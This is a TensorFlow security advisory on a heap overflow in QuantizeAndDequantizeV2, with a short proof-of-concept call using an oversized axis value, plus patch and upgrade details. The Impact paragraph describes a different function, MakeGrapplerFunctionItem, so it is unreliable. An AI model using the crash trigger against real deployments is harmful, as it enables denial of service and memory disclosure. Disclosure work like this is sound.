Heap overflow in `QuantizeAndDequantizeV2`

Overview

Impact

The function MakeGrapplerFunctionItem takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read or a crash is triggered.

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
    								   input_min=[1.0],
    								   input_max=[10.0],
    								   signed_input=True,
    								   num_bits=1,
    								   range_given=True,
    								   round_mode='HALF_TO_EVEN',
    								   narrow_range=True,
    								   axis=0x7fffffff)
test()

Patches

We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.

The fix will be included in TensorFlow 2.11.0. We will also cherrypick this commit on TensorFlow 2.10.1.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Affected packages

• tensorflow < 2.8.4
• tensorflow >= 2.9.0, < 2.9.3
• tensorflow >= 2.10.0, < 2.10.1
• tensorflow-cpu < 2.8.4
• tensorflow-gpu < 2.8.4
• tensorflow-cpu >= 2.9.0, < 2.9.3
• tensorflow-gpu >= 2.9.0, < 2.9.3
• tensorflow-cpu >= 2.10.0, < 2.10.1
• tensorflow-gpu >= 2.10.0, < 2.10.1

Remediation

Upgrade to a patched release:

• tensorflow 2.8.4
• tensorflow 2.9.3
• tensorflow 2.10.1
• tensorflow-cpu 2.8.4
• tensorflow-gpu 2.8.4
• tensorflow-cpu 2.9.3
• tensorflow-gpu 2.9.3
• tensorflow-cpu 2.10.1
• tensorflow-gpu 2.10.1